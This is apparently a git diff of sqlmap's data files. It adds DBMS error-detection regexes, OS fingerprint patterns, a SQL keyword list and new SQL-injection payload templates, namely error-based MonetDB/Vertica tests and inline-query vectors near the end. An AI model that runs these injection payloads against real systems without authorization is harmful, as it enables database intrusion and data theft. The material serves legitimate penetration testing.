SUBCLASS_ORIGIN
|
||||||
|
SUBMULTISET
|
||||||
|
SUBSTRING
|
||||||
|
SUBSTRING_REGEX
|
||||||
|
SUCCEEDS
|
||||||
|
SUM
|
||||||
|
SYMMETRIC
|
||||||
|
SYSID
|
||||||
|
SYSTEM
|
||||||
|
SYSTEM_TIME
|
||||||
|
SYSTEM_USER
|
||||||
|
T
|
||||||
|
TABLE
|
||||||
|
TABLES
|
||||||
|
TABLESAMPLE
|
||||||
|
TABLESPACE
|
||||||
|
TABLE_NAME
|
||||||
|
TEMP
|
||||||
|
TEMPLATE
|
||||||
|
TEMPORARY
|
||||||
|
TEXT
|
||||||
|
THEN
|
||||||
|
TIES
|
||||||
|
TIME
|
||||||
|
TIMESTAMP
|
||||||
|
TIMEZONE_HOUR
|
||||||
|
TIMEZONE_MINUTE
|
||||||
|
TO
|
||||||
|
TOKEN
|
||||||
|
TOP_LEVEL_COUNT
|
||||||
|
TRAILING
|
||||||
|
TRANSACTION
|
||||||
|
TRANSACTIONS_COMMITTED
|
||||||
|
TRANSACTIONS_ROLLED_BACK
|
||||||
|
TRANSACTION_ACTIVE
|
||||||
|
TRANSFORM
|
||||||
|
TRANSFORMS
|
||||||
|
TRANSLATE
|
||||||
|
TRANSLATE_REGEX
|
||||||
|
TRANSLATION
|
||||||
|
TREAT
|
||||||
|
TRIGGER
|
||||||
|
TRIGGER_CATALOG
|
||||||
|
TRIGGER_NAME
|
||||||
|
TRIGGER_SCHEMA
|
||||||
|
TRIM
|
||||||
|
TRIM_ARRAY
|
||||||
|
TRUE
|
||||||
|
TRUNCATE
|
||||||
|
TRUSTED
|
||||||
|
TYPE
|
||||||
|
TYPES
|
||||||
|
UESCAPE
|
||||||
|
UNBOUNDED
|
||||||
|
UNCOMMITTED
|
||||||
|
UNDER
|
||||||
|
UNENCRYPTED
|
||||||
|
UNION
|
||||||
|
UNIQUE
|
||||||
|
UNKNOWN
|
||||||
|
UNLINK
|
||||||
|
UNLISTEN
|
||||||
|
UNLOGGED
|
||||||
|
UNNAMED
|
||||||
|
UNNEST
|
||||||
|
UNTIL
|
||||||
|
UNTYPED
|
||||||
|
UPDATE
|
||||||
|
UPPER
|
||||||
|
URI
|
||||||
|
USAGE
|
||||||
|
USER
|
||||||
|
USER_DEFINED_TYPE_CATALOG
|
||||||
|
USER_DEFINED_TYPE_CODE
|
||||||
|
USER_DEFINED_TYPE_NAME
|
||||||
|
USER_DEFINED_TYPE_SCHEMA
|
||||||
|
USING
|
||||||
|
VACUUM
|
||||||
|
VALID
|
||||||
|
VALIDATE
|
||||||
|
VALIDATOR
|
||||||
|
VALUE
|
||||||
|
VALUES
|
||||||
|
VALUE_OF
|
||||||
|
VARBINARY
|
||||||
|
VARCHAR
|
||||||
|
VARIADIC
|
||||||
|
VARYING
|
||||||
|
VAR_POP
|
||||||
|
VAR_SAMP
|
||||||
|
VERBOSE
|
||||||
|
VERSION
|
||||||
|
VERSIONING
|
||||||
|
VIEW
|
||||||
|
VOLATILE
|
||||||
|
WHEN
|
||||||
|
WHENEVER
|
||||||
|
WHERE
|
||||||
|
WHITESPACE
|
||||||
|
WIDTH_BUCKET
|
||||||
|
WINDOW
|
||||||
|
WITH
|
||||||
|
WITHIN
|
||||||
|
WITHOUT
|
||||||
|
WORK
|
||||||
|
WRAPPER
|
||||||
|
WRITE
|
||||||
|
XML
|
||||||
|
XMLAGG
|
||||||
|
XMLATTRIBUTES
|
||||||
|
XMLBINARY
|
||||||
|
XMLCAST
|
||||||
|
XMLCOMMENT
|
||||||
|
XMLCONCAT
|
||||||
|
XMLDECLARATION
|
||||||
|
XMLDOCUMENT
|
||||||
|
XMLELEMENT
|
||||||
|
XMLEXISTS
|
||||||
|
XMLFOREST
|
||||||
|
XMLITERATE
|
||||||
|
XMLNAMESPACES
|
||||||
|
XMLPARSE
|
||||||
|
XMLPI
|
||||||
|
XMLQUERY
|
||||||
|
XMLROOT
|
||||||
|
XMLSCHEMA
|
||||||
|
XMLSERIALIZE
|
||||||
|
XMLTABLE
|
||||||
|
XMLTEXT
|
||||||
|
XMLVALIDATE
|
||||||
|
YEAR
|
||||||
|
YES
|
||||||
|
ZONE
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Opera
|
# Opera
|
||||||
|
|||||||
@@ -83,6 +83,10 @@
|
|||||||
<info type="Linux"/>
|
<info type="Linux"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bArch\b">
|
||||||
|
<info type="Linux" distrib="Arch"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="CentOS">
|
<regexp value="CentOS">
|
||||||
<info type="Linux" distrib="CentOS"/>
|
<info type="Linux" distrib="CentOS"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
@@ -115,10 +119,22 @@
|
|||||||
<info type="Linux" distrib="Mandrake"/>
|
<info type="Linux" distrib="Mandrake"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Manjaro">
|
||||||
|
<info type="Linux" distrib="Manjaro"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Mandriva">
|
<regexp value="Mandriva">
|
||||||
<info type="Linux" distrib="Mandriva"/>
|
<info type="Linux" distrib="Mandriva"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bMint\b">
|
||||||
|
<info type="Linux" distrib="Mint"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bPuppy\b">
|
||||||
|
<info type="Linux" distrib="Puppy"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Red[\-\_\ ]?Hat">
|
<regexp value="Red[\-\_\ ]?Hat">
|
||||||
<info type="Linux" distrib="Red Hat"/>
|
<info type="Linux" distrib="Red Hat"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|||||||
@@ -1,5 +1,10 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
References:
|
||||||
|
* https://en.wikipedia.org/wiki/Debian_version_history
|
||||||
|
-->
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
|
<regexp value="^([\d\.\-]+)[\-\_\ ].*">
|
||||||
<info dbms_version="1"/>
|
<info dbms_version="1"/>
|
||||||
@@ -36,19 +41,27 @@
|
|||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
|
||||||
<info dbms_version="1" type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
|
||||||
<info dbms_version="1" type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
|
||||||
<info dbms_version="1" type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
|
||||||
<info dbms_version="1" type="Linux" distrib="Debian" release="10.0" codename="buster"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
<regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">
|
||||||
|
|||||||
@@ -1,22 +1,26 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- MySQL -->
|
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
<error regexp="SQL syntax.*?MySQL"/>
|
<error regexp="SQL syntax.*?MySQL"/>
|
||||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||||
<error regexp="MySQLSyntaxErrorException"/>
|
<error regexp="MySQLSyntaxErrorException"/>
|
||||||
<error regexp="valid MySQL result"/>
|
<error regexp="valid MySQL result"/>
|
||||||
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
|
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc"/>
|
<error regexp="com\.mysql\.jdbc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Mysql"/>
|
<error regexp="Pdo[./_\\]Mysql"/>
|
||||||
<error regexp="MySqlException"/>
|
<error regexp="MySqlException"/>
|
||||||
|
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||||
|
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||||
|
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||||
|
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- PostgreSQL -->
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<error regexp="PostgreSQL.*?ERROR"/>
|
<error regexp="PostgreSQL.*?ERROR"/>
|
||||||
<error regexp="Warning.*?\Wpg_"/>
|
<error regexp="Warning.*?\Wpg_"/>
|
||||||
@@ -32,7 +36,6 @@
|
|||||||
<error regexp="PSQLException"/>
|
<error regexp="PSQLException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft SQL Server -->
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||||
<error regexp="OLE DB.*? SQL Server"/>
|
<error regexp="OLE DB.*? SQL Server"/>
|
||||||
@@ -54,7 +57,6 @@
|
|||||||
<error regexp="SQL(Srv|Server)Exception"/>
|
<error regexp="SQL(Srv|Server)Exception"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft Access -->
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||||
<error regexp="JET Database Engine"/>
|
<error regexp="JET Database Engine"/>
|
||||||
@@ -63,7 +65,6 @@
|
|||||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
|
||||||
<dbms value="Oracle">
|
<dbms value="Oracle">
|
||||||
<error regexp="\bORA-\d{5}"/>
|
<error regexp="\bORA-\d{5}"/>
|
||||||
<error regexp="Oracle error"/>
|
<error regexp="Oracle error"/>
|
||||||
@@ -78,7 +79,6 @@
|
|||||||
<error regexp="OracleException"/>
|
<error regexp="OracleException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- IBM DB2 -->
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
@@ -88,9 +88,9 @@
|
|||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
<error regexp="DB2Exception"/>
|
<error regexp="DB2Exception"/>
|
||||||
|
<error regexp="ibm_db_dbi\.ProgrammingError"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Informix -->
|
|
||||||
<dbms value="Informix">
|
<dbms value="Informix">
|
||||||
<error regexp="Warning.*?\Wifx_"/>
|
<error regexp="Warning.*?\Wifx_"/>
|
||||||
<error regexp="Exception.*?Informix"/>
|
<error regexp="Exception.*?Informix"/>
|
||||||
@@ -110,7 +110,6 @@
|
|||||||
<error regexp="Pdo[./_\\]Firebird"/>
|
<error regexp="Pdo[./_\\]Firebird"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SQLite -->
|
|
||||||
<dbms value="SQLite">
|
<dbms value="SQLite">
|
||||||
<error regexp="SQLite/JDBCDriver"/>
|
<error regexp="SQLite/JDBCDriver"/>
|
||||||
<error regexp="SQLite\.Exception"/>
|
<error regexp="SQLite\.Exception"/>
|
||||||
@@ -125,15 +124,15 @@
|
|||||||
<error regexp="SQLiteException"/>
|
<error regexp="SQLiteException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SAP MaxDB -->
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||||
<error regexp="DriverSapDB"/>
|
<error regexp="DriverSapDB"/>
|
||||||
|
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||||
|
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Sybase -->
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<error regexp="Warning.*?\Wsybase_"/>
|
<error regexp="Warning.*?\Wsybase_"/>
|
||||||
<error regexp="Sybase message"/>
|
<error regexp="Sybase message"/>
|
||||||
@@ -143,7 +142,6 @@
|
|||||||
<error regexp="com\.sybase\.jdbc"/>
|
<error regexp="com\.sybase\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Ingres -->
|
|
||||||
<dbms value="Ingres">
|
<dbms value="Ingres">
|
||||||
<error regexp="Warning.*?\Wingres_"/>
|
<error regexp="Warning.*?\Wingres_"/>
|
||||||
<error regexp="Ingres SQLSTATE"/>
|
<error regexp="Ingres SQLSTATE"/>
|
||||||
@@ -151,21 +149,72 @@
|
|||||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Frontbase -->
|
<dbms value="FrontBase">
|
||||||
<dbms value="Frontbase">
|
|
||||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||||
<error regexp="com\.frontbase\.jdbc"/>
|
<error regexp="com\.frontbase\.jdbc"/>
|
||||||
|
<error regexp="Syntax error 1. Missing"/>
|
||||||
|
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- HSQLDB -->
|
|
||||||
<dbms value="HSQLDB">
|
<dbms value="HSQLDB">
|
||||||
<error regexp="Unexpected end of command in statement \["/>
|
<error regexp="Unexpected end of command in statement \["/>
|
||||||
<error regexp="Unexpected token.*?in statement \["/>
|
<error regexp="Unexpected token.*?in statement \["/>
|
||||||
<error regexp="org\.hsqldb\.jdbc"/>
|
<error regexp="org\.hsqldb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- H2 -->
|
|
||||||
<dbms value="H2">
|
<dbms value="H2">
|
||||||
<error regexp="org\.h2\.jdbc"/>
|
<error regexp="org\.h2\.jdbc"/>
|
||||||
|
<error regexp="\[42000-192\]"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MonetDB">
|
||||||
|
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||||
|
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||||
|
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Apache Derby">
|
||||||
|
<error regexp="Syntax error: Encountered"/>
|
||||||
|
<error regexp="org\.apache\.derby"/>
|
||||||
|
<error regexp="ERROR 42X01"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Vertica">
|
||||||
|
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||||
|
<error regexp="/vertica/Parser/scan"/>
|
||||||
|
<error regexp="com\.vertica\.jdbc"/>
|
||||||
|
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
|
||||||
|
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Mckoi">
|
||||||
|
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||||
|
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||||
|
<error regexp="<REGEX_LITERAL>"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Presto">
|
||||||
|
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||||
|
<error regexp="io\.prestosql\.jdbc"/>
|
||||||
|
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||||
|
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Altibase">
|
||||||
|
<error regexp="Altibase\.jdbc\.driver"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MimerSQL">
|
||||||
|
<error regexp="com\.mimer\.jdbc"/>
|
||||||
|
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="CrateDB">
|
||||||
|
<error regexp="io\.crate\.client\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Cache">
|
||||||
|
<error regexp="encountered after end of query"/>
|
||||||
|
<error regexp="A comparison operator is required here"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -704,6 +704,82 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MonetDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MonetDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Vertica AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Vertica</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Vertica</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
|
|||||||
@@ -3,19 +3,31 @@
|
|||||||
<root>
|
<root>
|
||||||
<!-- Inline queries tests -->
|
<!-- Inline queries tests -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL inline queries</title>
|
<title>Generic inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>1</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
|
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL inline queries</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8</clause>
|
||||||
|
<where>3</where>
|
||||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
<request>
|
<request>
|
||||||
<!-- These work as good as ELT(), but are longer
|
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
-->
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -28,7 +40,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL inline queries</title>
|
<title>PostgreSQL inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -47,13 +59,13 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -74,7 +86,8 @@
|
|||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
